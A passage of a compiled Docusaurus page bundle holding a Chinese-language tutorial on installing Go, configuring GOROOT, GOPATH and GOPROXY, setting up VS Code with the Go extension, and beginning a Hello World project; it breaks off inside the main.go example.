modules\u7ba1\u7406\u4f9d\u8d56\uff0c\u4e5f\u4e0d\u518d\u9700\u8981\u628a\u4ee3\u7801\u5199\u5728GOPATH\u76ee\u5f55\u4e0b\u4e86\uff0c\u4e4b\u524d\u65e7\u7248\u672c\u7684\u6559\u7a0b\u6233\u8fd9\u4e2a\u94fe\u63a5\u3002","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/01.GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/01.Go\u57fa\u7840\u7f16\u7a0b/01.GoLang-\u5f00\u53d1\u73af\u5883\u914d\u7f6e.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"Go\u57fa\u7840\u7f16\u7a0b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/"},"next":{"title":"Go\u8bed\u8a00\u57fa\u7840\u4e4b\u53d8\u91cf\u548c\u5e38\u91cf","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u57fa\u7840\u7f16\u7a0b/GoLang-\u53d8\u91cf\u5e38\u91cf"}}');var l=d(74848),i=d(28453);const c={},o="\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883",h={},r=[{value:"\u4e0b\u8f7d",id:"\u4e0b\u8f7d",level:2},{value:"\u4e0b\u8f7d\u5730\u5740",id:"\u4e0b\u8f7d\u5730\u5740",level:3},{value:"\u7248\u672c\u7684\u9009\u62e9",id:"\u7248\u672c\u7684\u9009\u62e9",level:3},{value:"\u5b89\u88c5",id:"\u5b89\u88c5",level:2},{value:"Windows\u5b89\u88c5",id:"windows\u5b89\u88c5",level:3},{value:"Linux\u4e0b\u5b89\u88c5",id:"linux\u4e0b\u5b89\u88c5",level:3},{value:"Mac\u4e0b\u5b89\u88c5",id:"mac\u4e0b\u5b89\u88c5",level:3},{value:"\u68c0\u67e5",id:"\u68c0\u67e5",level:3},{value:"GOROOT\u548cGOPATH",id:"goroot\u548cgopath",level:2},{value:"GOPROXY \u975e\u5e38\u91cd\u8981",id:"goproxy-\u975e\u5e38\u91cd\u8981",level:3},{value:"Go\u5f00\u53d1\u7f16\u8f91\u5668",id:"go\u5f00\u53d1\u7f16\u8f91\u5668",level:2},{value:"VS Code\u4ecb\u7ecd",id:"vs-code\u4ecb\u7ecd",level:3},{value:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5",id:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5",level:3},{value:"\u914d\u7f6e",id:"\u914d\u7f6e",level:3},{value:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6",id:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6",level:4},{value:"\u5b89\u88c5go\u6269\u5c55",id:"\u5b89\u88c5go\u6269\u5c55",level:4},{value:"\u7b2c\u4e00\u4e2aGo\u7a0b\u5e8f",id:"\u7b2c\u4e00\u4e2ago\u7a0b\u5e8f",level:2},{value:"Hello World",id:"hello-world",level:3},{value:"go mod init",id:"go-mod-init",level:4},{value:"\u7f16\u5199\u4ee3\u7801",id:"\u7f16\u5199\u4ee3\u7801",level:4},{value:"\u7f16\u8bd1",id:"\u7f16\u8bd1",level:3},{value:"Windows\u4e0bVSCode\u5207\u6362cmd.exe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef",id:"windows\u4e0bvscode\u5207\u6362cmdexe\u4f5c\u4e3a\u9ed8\u8ba4\u7ec8\u7aef",level:3},{value:"go run",id:"go-run",level:3},{value:"go install",id:"go-install",level:3},{value:"\u8de8\u5e73\u53f0\u7f16\u8bd1",id:"\u8de8\u5e73\u53f0\u7f16\u8bd1",level:3},{value:"Windows\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6",id:"windows\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Windows\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6",id:"windows\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Mac\u7f16\u8bd1Linux\u53ef\u6267\u884c\u6587\u4ef6",id:"mac\u7f16\u8bd1linux\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Mac\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6",id:"mac\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Linux\u7f16\u8bd1Mac\u53ef\u6267\u884c\u6587\u4ef6",id:"linux\u7f16\u8bd1mac\u53ef\u6267\u884c\u6587\u4ef6",level:4},{value:"Linux\u7f16\u8bd1Windows\u53ef\u6267\u884c\u6587\u4ef6",id:"linux\u7f16\u8bd1windows\u53ef\u6267\u884c\u6587\u4ef6",level:4}];function a(e){const n={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",p:"p",pre:"pre",strong:"strong",...(0,i.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"\u5b89\u88c5go\u8bed\u8a00\u53ca\u642d\u5efago\u8bed\u8a00\u5f00\u53d1\u73af\u5883",children:"\u5b89\u88c5Go\u8bed\u8a00\u53ca\u642d\u5efaGo\u8bed\u8a00\u5f00\u53d1\u73af\u5883"})}),"\n",(0,l.jsxs)(n.p,{children:["**\u6ce8\u610f\uff1a**Go\u8bed\u8a001.14\u7248\u672c\u4e4b\u540e\u63a8\u8350\u4f7f\u7528go modules\u7ba1\u7406\u4f9d\u8d56\uff0c\u4e5f\u4e0d\u518d\u9700\u8981\u628a\u4ee3\u7801\u5199\u5728GOPATH\u76ee\u5f55\u4e0b\u4e86\uff0c\u4e4b\u524d\u65e7\u7248\u672c\u7684\u6559\u7a0b\u6233\u8fd9\u4e2a",(0,l.jsx)(n.a,{href:"https://www.liwenzhou.com/posts/Go/install_go_dev_old/",children:"\u94fe\u63a5"}),"\u3002"]}),"\n",(0,l.jsx)(n.h2,{id:"\u4e0b\u8f7d",children:"\u4e0b\u8f7d"}),"\n",(0,l.jsx)(n.h3,{id:"\u4e0b\u8f7d\u5730\u5740",children:"\u4e0b\u8f7d\u5730\u5740"}),"\n",(0,l.jsxs)(n.p,{children:["Go\u5b98\u7f51\u4e0b\u8f7d\u5730\u5740\uff1a",(0,l.jsx)(n.a,{href:"https://golang.org/dl/",children:"https://golang.org/dl/"})]}),"\n",(0,l.jsxs)(n.p,{children:["Go\u5b98\u65b9\u955c\u50cf\u7ad9\uff08\u63a8\u8350\uff09\uff1a",(0,l.jsx)(n.a,{href:"https://golang.google.cn/dl/",children:"https://golang.google.cn/dl/"})]}),"\n",(0,l.jsx)(n.h3,{id:"\u7248\u672c\u7684\u9009\u62e9",children:"\u7248\u672c\u7684\u9009\u62e9"}),"\n",(0,l.jsx)(n.p,{children:"Windows\u5e73\u53f0\u548cMac\u5e73\u53f0\u63a8\u8350\u4e0b\u8f7d\u53ef\u6267\u884c\u6587\u4ef6\u7248\uff0cLinux\u5e73\u53f0\u4e0b\u8f7d\u538b\u7f29\u6587\u4ef6\u7248\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.strong,{children:"\u4e0b\u56fe\u4e2d\u7684\u7248\u672c\u53f7\u53ef\u80fd\u5e76\u4e0d\u662f\u6700\u65b0\u7684\uff0c\u4f46\u603b\u4f53\u6765\u8bf4\u5b89\u88c5\u6559\u7a0b\u662f\u7c7b\u4f3c\u7684\u3002Go\u8bed\u8a00\u66f4\u65b0\u8fed\u4ee3\u6bd4\u8f83\u5feb\uff0c\u63a8\u8350\u4f7f\u7528\u8f83\u65b0\u7248\u672c\uff0c\u4f53\u9a8c\u6700\u65b0\u7279\u6027\u3002"})}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"download1",src:d(74008).A+"",width:"830",height:"600"})}),"\n",(0,l.jsx)(n.h2,{id:"\u5b89\u88c5",children:"\u5b89\u88c5"}),"\n",(0,l.jsx)(n.h3,{id:"windows\u5b89\u88c5",children:"Windows\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:["\u6b64\u5b89\u88c5\u5b9e\u4f8b\u4ee5 ",(0,l.jsx)(n.code,{children:"64\u4f4dWin10"}),"\u7cfb\u7edf\u5b89\u88c5 ",(0,l.jsx)(n.code,{children:"Go1.14.1\u53ef\u6267\u884c\u6587\u4ef6\u7248\u672c"}),"\u4e3a\u4f8b\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u5c06\u4e0a\u4e00\u6b65\u9009\u597d\u7684\u5b89\u88c5\u5305\u4e0b\u8f7d\u5230\u672c\u5730\u3002"}),"\n",(0,l.jsx)(n.p,{children:(0,l.jsx)(n.img,{alt:"download2",src:d(69619).A+"",width:"726",height:"492"})}),"\n",(0,l.jsx)(n.p,{children:"\u53cc\u51fb\u4e0b\u8f7d\u597d\u7684\u6587\u4ef6\uff0c\u7136\u540e\u6309\u7167\u4e0b\u56fe\u7684\u6b65\u9aa4\u5b89\u88c5\u5373\u53ef\u3002"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.img,{alt:"install01",src:d(19177).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install02",src:d(88210).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install03",src:d(3035).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install04",src:d(39172).A+"",width:"495",height:"387"}),(0,l.jsx)(n.img,{alt:"install05",src:d(93069).A+"",width:"495",height:"387"})]}),"\n",(0,l.jsx)(n.h3,{id:"linux\u4e0b\u5b89\u88c5",children:"Linux\u4e0b\u5b89\u88c5"}),"\n",(0,l.jsx)(n.p,{children:"\u5982\u679c\u4e0d\u662f\u8981\u5728Linux\u5e73\u53f0\u6572go\u4ee3\u7801\u5c31\u4e0d\u9700\u8981\u5728Linux\u5e73\u53f0\u5b89\u88c5Go\uff0c\u6211\u4eec\u5f00\u53d1\u673a\u4e0a\u5199\u597d\u7684go\u4ee3\u7801\u53ea\u9700\u8981\u8de8\u5e73\u53f0\u7f16\u8bd1\uff08\u8be6\u89c1\u6587\u7ae0\u672b\u5c3e\u7684\u8de8\u5e73\u53f0\u7f16\u8bd1\uff09\u597d\u4e4b\u540e\u5c31\u53ef\u4ee5\u62f7\u8d1d\u5230Linux\u670d\u52a1\u5668\u4e0a\u8fd0\u884c\u4e86\uff0c\u8fd9\u4e5f\u662fgo\u7a0b\u5e8f\u8de8\u5e73\u53f0\u6613\u90e8\u7f72\u7684\u4f18\u52bf\u3002"}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u5728\u7248\u672c\u9009\u62e9\u9875\u9762\u9009\u62e9\u5e76\u4e0b\u8f7d\u597d",(0,l.jsx)(n.code,{children:"go1.14.1.linux-amd64.tar.gz"}),"\u6587\u4ef6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"wget https://dl.google.com/go/go1.14.1.linux-amd64.tar.gz\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5c06\u4e0b\u8f7d\u597d\u7684\u6587\u4ef6\u89e3\u538b\u5230",(0,l.jsx)(n.code,{children:"/usr/local"}),"\u76ee\u5f55\u4e0b\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"tar -zxvf go1.14.1.linux-amd64.tar.gz -C /usr/local # \u89e3\u538b\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5982\u679c\u63d0\u793a\u6ca1\u6709\u6743\u9650\uff0c\u52a0\u4e0a",(0,l.jsx)(n.code,{children:"sudo"}),"\u4ee5root\u7528\u6237\u7684\u8eab\u4efd\u518d\u8fd0\u884c\u3002\u6267\u884c\u5b8c\u5c31\u53ef\u4ee5\u5728",(0,l.jsx)(n.code,{children:"/usr/local/"}),"\u4e0b\u770b\u5230",(0,l.jsx)(n.code,{children:"go"}),"\u76ee\u5f55\u4e86\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff1a Linux\u4e0b\u6709\u4e24\u4e2a\u6587\u4ef6\u53ef\u4ee5\u914d\u7f6e\u73af\u5883\u53d8\u91cf\uff0c\u5176\u4e2d",(0,l.jsx)(n.code,{children:"/etc/profile"}),"\u662f\u5bf9\u6240\u6709\u7528\u6237\u751f\u6548\u7684\uff1b",(0,l.jsx)(n.code,{children:"$HOME/.profile"}),"\u662f\u5bf9\u5f53\u524d\u7528\u6237\u751f\u6548\u7684\uff0c\u6839\u636e\u81ea\u5df1\u7684\u60c5\u51b5\u81ea\u884c\u9009\u62e9\u4e00\u4e2a\u6587\u4ef6\u6253\u5f00\uff0c\u6dfb\u52a0\u5982\u4e0b\u4e24\u884c\u4ee3\u7801\uff0c\u4fdd\u5b58\u9000\u51fa\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"export GOROOT=/usr/local/go\nexport PATH=$PATH:$GOROOT/bin\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u4fee\u6539",(0,l.jsx)(n.code,{children:"/etc/profile"}),"\u540e\u8981\u91cd\u542f\u751f\u6548\uff0c\u4fee\u6539",(0,l.jsx)(n.code,{children:"$HOME/.profile"}),"\u540e\u4f7f\u7528source\u547d\u4ee4\u52a0\u8f7d",(0,l.jsx)(n.code,{children:"$HOME/.profile"}),"\u6587\u4ef6\u5373\u53ef\u751f\u6548\u3002 \u68c0\u67e5\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"~ go version\ngo version go1.14.1 linux/amd64\n"})}),"\n",(0,l.jsx)(n.h3,{id:"mac\u4e0b\u5b89\u88c5",children:"Mac\u4e0b\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0b\u8f7d\u53ef\u6267\u884c\u6587\u4ef6\u7248\uff0c\u76f4\u63a5\u70b9\u51fb",(0,l.jsx)(n.strong,{children:"\u4e0b\u4e00\u6b65"}),"\u5b89\u88c5\u5373\u53ef\uff0c\u9ed8\u8ba4\u4f1a\u5c06go\u5b89\u88c5\u5230",(0,l.jsx)(n.code,{children:"/usr/local/go"}),"\u76ee\u5f55\u4e0b\u3002",(0,l.jsx)(n.img,{alt:"Mac\u5b89\u88c5Go",src:d(52055).A+"",width:"620",height:"438"})]}),"\n",(0,l.jsx)(n.h3,{id:"\u68c0\u67e5",children:"\u68c0\u67e5"}),"\n",(0,l.jsxs)(n.p,{children:["\u4e0a\u4e00\u6b65\u5b89\u88c5\u8fc7\u7a0b\u6267\u884c\u5b8c\u6bd5\u540e\uff0c\u53ef\u4ee5\u6253\u5f00\u7ec8\u7aef\u7a97\u53e3\uff0c\u8f93\u5165",(0,l.jsx)(n.code,{children:"go version"}),"\u547d\u4ee4\uff0c\u67e5\u770b\u5b89\u88c5\u7684Go\u7248\u672c\u3002",(0,l.jsx)(n.img,{alt:"install06",src:d(79094).A+"",width:"689",height:"430"})]}),"\n",(0,l.jsx)(n.h2,{id:"goroot\u548cgopath",children:"GOROOT\u548cGOPATH"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"GOROOT"}),"\u548c",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u90fd\u662f\u73af\u5883\u53d8\u91cf\uff0c\u5176\u4e2d",(0,l.jsx)(n.code,{children:"GOROOT"}),"\u662f\u6211\u4eec\u5b89\u88c5go\u5f00\u53d1\u5305\u7684\u8def\u5f84\uff0c\u800c\u4eceGo 1.8\u7248\u672c\u5f00\u59cb\uff0cGo\u5f00\u53d1\u5305\u5728\u5b89\u88c5\u5b8c\u6210\u540e\u4f1a\u4e3a",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u8bbe\u7f6e\u4e00\u4e2a\u9ed8\u8ba4\u76ee\u5f55\uff0c\u5e76\u4e14\u5728Go1.14\u53ca\u4e4b\u540e\u7684\u7248\u672c\u4e2d\u542f\u7528\u4e86Go Module\u6a21\u5f0f\u4e4b\u540e\uff0c\u4e0d\u4e00\u5b9a\u975e\u8981\u5c06\u4ee3\u7801\u5199\u5230GOPATH\u76ee\u5f55\u4e0b\uff0c\u6240\u4ee5\u4e5f\u5c31",(0,l.jsx)(n.strong,{children:"\u4e0d\u9700\u8981\u6211\u4eec\u518d\u81ea\u5df1\u914d\u7f6eGOPATH"}),"\u4e86\uff0c\u4f7f\u7528\u9ed8\u8ba4\u7684\u5373\u53ef\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u60f3\u8981\u67e5\u770b\u4f60\u7535\u8111\u4e0a\u7684",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u8def\u5f84\uff0c\u53ea\u9700\u8981\u6253\u5f00\u7ec8\u7aef\u8f93\u5165\u4ee5\u4e0b\u547d\u4ee4\u5e76\u56de\u8f66\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go env\n"})}),"\n",(0,l.jsxs)(n.p,{children:["\u5728\u7ec8\u7aef\u8f93\u51fa\u7684\u5185\u5bb9\u4e2d\u627e\u5230",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u5bf9\u5e94\u7684\u5177\u4f53\u8def\u5f84\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"goproxy-\u975e\u5e38\u91cd\u8981",children:"GOPROXY \u975e\u5e38\u91cd\u8981"}),"\n",(0,l.jsxs)(n.p,{children:["Go1.14\u7248\u672c\u4e4b\u540e\uff0c\u90fd\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(n.code,{children:"go mod"}),"\u6a21\u5f0f\u6765\u7ba1\u7406\u4f9d\u8d56\u73af\u5883\u4e86\uff0c\u4e5f\u4e0d\u518d\u5f3a\u5236\u6211\u4eec\u628a\u4ee3\u7801\u5fc5\u987b\u5199\u5728",(0,l.jsx)(n.code,{children:"GOPATH"}),"\u4e0b\u9762\u7684src\u76ee\u5f55\u4e86\uff0c\u4f60\u53ef\u4ee5\u5728\u4f60\u7535\u8111\u7684\u4efb\u610f\u4f4d\u7f6e\u7f16\u5199go\u4ee3\u7801\u3002\uff08\u7f51\u4e0a\u6709\u4e9b\u6559\u7a0b\u9002\u7528\u4e8e1.11\u7248\u672c\u4e4b\u524d\u3002\uff09"]}),"\n",(0,l.jsxs)(n.p,{children:["\u9ed8\u8ba4GoPROXY\u914d\u7f6e\u662f\uff1a",(0,l.jsx)(n.code,{children:"GOPROXY=https://proxy.golang.org,direct"}),"\uff0c\u7531\u4e8e\u56fd\u5185\u8bbf\u95ee\u4e0d\u5230",(0,l.jsx)(n.code,{children:"https://proxy.golang.org"}),"\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u6362\u4e00\u4e2aPROXY\uff0c\u8fd9\u91cc\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(n.code,{children:"https://goproxy.io"}),"\u6216",(0,l.jsx)(n.code,{children:"https://goproxy.cn"}),"\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u53ef\u4ee5\u6267\u884c\u4e0b\u9762\u7684\u547d\u4ee4\u4fee\u6539GOPROXY\uff1a"}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go env -w GOPROXY=https://goproxy.cn,direct\n"})}),"\n",(0,l.jsx)(n.h2,{id:"go\u5f00\u53d1\u7f16\u8f91\u5668",children:"Go\u5f00\u53d1\u7f16\u8f91\u5668"}),"\n",(0,l.jsxs)(n.p,{children:["Go\u91c7\u7528\u7684\u662fUTF-8\u7f16\u7801\u7684\u6587\u672c\u6587\u4ef6\u5b58\u653e\u6e90\u4ee3\u7801\uff0c\u7406\u8bba\u4e0a\u4f7f\u7528\u4efb\u4f55\u4e00\u6b3e\u6587\u672c\u7f16\u8f91\u5668\u90fd\u53ef\u4ee5\u505aGo\u8bed\u8a00\u5f00\u53d1\uff0c\u8fd9\u91cc\u63a8\u8350\u4f7f\u7528",(0,l.jsx)(n.code,{children:"VS Code"}),"\u548c",(0,l.jsx)(n.code,{children:"Goland"}),"\u3002 ",(0,l.jsx)(n.code,{children:"VS Code"}),"\u662f\u5fae\u8f6f\u5f00\u6e90\u7684\u7f16\u8f91\u5668\uff0c\u800c",(0,l.jsx)(n.code,{children:"Goland"}),"\u662fjetbrains\u51fa\u54c1\u7684\u4ed8\u8d39IDE\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u6211\u4eec\u8fd9\u91cc\u4f7f\u7528",(0,l.jsx)(n.code,{children:"VS Code"})," \u52a0\u63d2\u4ef6\u505a\u4e3ago\u8bed\u8a00\u7684\u5f00\u53d1\u5de5\u5177\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"vs-code\u4ecb\u7ecd",children:"VS Code\u4ecb\u7ecd"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"VS Code"}),"\u5168\u79f0",(0,l.jsx)(n.code,{children:"Visual Studio Code"}),"\uff0c\u662f\u5fae\u8f6f\u516c\u53f8\u5f00\u6e90\u7684\u4e00\u6b3e",(0,l.jsx)(n.strong,{children:"\u514d\u8d39"}),"\u73b0\u4ee3\u5316\u8f7b\u91cf\u7ea7\u4ee3\u7801\u7f16\u8f91\u5668\uff0c\u652f\u6301\u51e0\u4e4e\u6240\u6709\u4e3b\u6d41\u7684\u5f00\u53d1\u8bed\u8a00\u7684\u8bed\u6cd5\u9ad8\u4eae\u3001\u667a\u80fd\u4ee3\u7801\u8865\u5168\u3001\u81ea\u5b9a\u4e49\u70ed\u952e\u3001\u62ec\u53f7\u5339\u914d\u3001\u4ee3\u7801\u7247\u6bb5\u3001\u4ee3\u7801\u5bf9\u6bd4 Diff\u3001GIT \u7b49\u7279\u6027\uff0c\u652f\u6301\u63d2\u4ef6\u6269\u5c55\uff0c\u652f\u6301 Win\u3001Mac \u4ee5\u53ca Linux\u5e73\u53f0\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u867d\u7136\u4e0d\u5982\u67d0\u4e9bIDE\u529f\u80fd\u5f3a\u5927\uff0c\u4f46\u662f\u5b83\u6dfb\u52a0Go\u6269\u5c55\u63d2\u4ef6\u540e\u5df2\u7ecf\u8db3\u591f\u80dc\u4efb\u6211\u4eec\u65e5\u5e38\u7684Go\u5f00\u53d1\u3002"}),"\n",(0,l.jsx)(n.h3,{id:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5",children:"\u4e0b\u8f7d\u4e0e\u5b89\u88c5"}),"\n",(0,l.jsxs)(n.p,{children:[(0,l.jsx)(n.code,{children:"VS Code"}),"\u5b98\u65b9\u4e0b\u8f7d\u5730\u5740\uff1a",(0,l.jsx)(n.a,{href:"https://code.visualstudio.com/Download",children:"https://code.visualstudio.com/Download"})]}),"\n",(0,l.jsxs)(n.p,{children:["\u4e09\u5927\u4e3b\u6d41\u5e73\u53f0\u90fd\u652f\u6301\uff0c\u8bf7\u6839\u636e\u81ea\u5df1\u7684\u7535\u8111\u5e73\u53f0\u9009\u62e9\u5bf9\u5e94\u7684\u5b89\u88c5\u5305\u3002",(0,l.jsx)(n.img,{alt:"vscode_home",src:d(91581).A+"",width:"914",height:"516"}),"\u53cc\u51fb\u4e0b\u8f7d\u597d\u7684\u5b89\u88c5\u6587\u4ef6\uff0c\u53cc\u51fb\u5b89\u88c5\u5373\u53ef\u3002"]}),"\n",(0,l.jsx)(n.h3,{id:"\u914d\u7f6e",children:"\u914d\u7f6e"}),"\n",(0,l.jsx)(n.h4,{id:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6",children:"\u5b89\u88c5\u4e2d\u6587\u7b80\u4f53\u63d2\u4ef6"}),"\n",(0,l.jsxs)(n.p,{children:["\u70b9\u51fb\u5de6\u4fa7\u83dc\u5355\u680f\u6700\u540e\u4e00\u9879",(0,l.jsx)(n.code,{children:"\u7ba1\u7406\u6269\u5c55"}),"\uff0c\u5728",(0,l.jsx)(n.code,{children:"\u641c\u7d22\u6846"}),"\u4e2d\u8f93\u5165",(0,l.jsx)(n.code,{children:"chinese"})," \uff0c\u9009\u4e2d\u7ed3\u679c\u5217\u8868\u7b2c\u4e00\u9879\uff0c\u70b9\u51fb",(0,l.jsx)(n.code,{children:"install"}),"\u5b89\u88c5\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5b89\u88c5\u5b8c\u6bd5\u540e\u53f3\u4e0b\u89d2\u4f1a\u63d0\u793a",(0,l.jsx)(n.code,{children:"\u91cd\u542fVS Code"}),"\uff0c\u91cd\u542f\u4e4b\u540e\u4f60\u7684VS Code\u5c31\u663e\u793a\u4e2d\u6587\u5566\uff01",(0,l.jsx)(n.img,{alt:"\u5b89\u88c5\u7b80\u4f53\u4e2d\u6587\u63d2\u4ef6",src:d(48021).A+"",width:"1214",height:"925"}),(0,l.jsx)(n.code,{children:"VSCode"}),"\u4e3b\u754c\u9762\u4ecb\u7ecd\uff1a",(0,l.jsx)(n.img,{alt:"vscode_menu",src:d(89705).A+"",width:"1232",height:"768"})]}),"\n",(0,l.jsx)(n.h4,{id:"\u5b89\u88c5go\u6269\u5c55",children:"\u5b89\u88c5go\u6269\u5c55"}),"\n",(0,l.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u8981\u4e3a\u6211\u4eec\u7684VS Code\u7f16\u8f91\u5668\u5b89\u88c5",(0,l.jsx)(n.code,{children:"Go"}),"\u6269\u5c55\u63d2\u4ef6\uff0c\u8ba9\u5b83\u652f\u6301Go\u8bed\u8a00\u5f00\u53d1\u3002",(0,l.jsx)(n.img,{alt:"\u5b89\u88c5go\u6269\u5c55\u56fe",src:d(61145).A+"",width:"1232",height:"932"})]}),"\n",(0,l.jsx)(n.h2,{id:"\u7b2c\u4e00\u4e2ago\u7a0b\u5e8f",children:"\u7b2c\u4e00\u4e2aGo\u7a0b\u5e8f"}),"\n",(0,l.jsx)(n.h3,{id:"hello-world",children:"Hello World"}),"\n",(0,l.jsxs)(n.p,{children:["\u73b0\u5728\u6211\u4eec\u6765\u521b\u5efa\u7b2c\u4e00\u4e2aGo\u9879\u76ee\u2014\u2014",(0,l.jsx)(n.code,{children:"hello"}),"\u3002\u5728\u6211\u4eec\u684c\u9762\u521b\u5efa\u4e00\u4e2a",(0,l.jsx)(n.code,{children:"hello"}),"\u76ee\u5f55\u3002"]}),"\n",(0,l.jsx)(n.h4,{id:"go-mod-init",children:"go mod init"}),"\n",(0,l.jsxs)(n.p,{children:["\u4f7f\u7528go module\u6a21\u5f0f\u65b0\u5efa\u9879\u76ee\u65f6\uff0c\u6211\u4eec",(0,l.jsx)(n.strong,{children:"\u9700\u8981"}),"\u901a\u8fc7",(0,l.jsx)(n.code,{children:"go mod init \u9879\u76ee\u540d"}),"\u547d\u4ee4\u5bf9\u9879\u76ee\u8fdb\u884c\u521d\u59cb\u5316\uff0c\u8be5\u547d\u4ee4\u4f1a\u5728\u9879\u76ee\u6839\u76ee\u5f55\u4e0b\u751f\u6210",(0,l.jsx)(n.code,{children:"go.mod"}),"\u6587\u4ef6\u3002\u4f8b\u5982\uff0c\u6211\u4eec\u4f7f\u7528",(0,l.jsx)(n.code,{children:"hello"}),"\u4f5c\u4e3a\u6211\u4eec\u7b2c\u4e00\u4e2aGo\u9879\u76ee\u7684\u540d\u79f0\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u3002"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-bash",children:"go mod init hello\n"})}),"\n",(0,l.jsx)(n.h4,{id:"\u7f16\u5199\u4ee3\u7801",children:"\u7f16\u5199\u4ee3\u7801"}),"\n",(0,l.jsxs)(n.p,{children:["\u63a5\u4e0b\u6765\u5728\u8be5\u76ee\u5f55\u4e2d\u521b\u5efa\u4e00\u4e2a",(0,l.jsx)(n.code,{children:"main.go"}),"\u6587\u4ef6\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-go",children:'package main // \u58f0\u660e main \u5305\uff0c\u8868\u660e\u5f53\u524d\u662f\u4e00\u4e2a\u53ef\u6267\u884c\u7a0b\u5e8f\n\nimport "fmt" // \u5bfc\u5165\u5185\u7f6e fmt \u5305\n\nfunc main(){ // 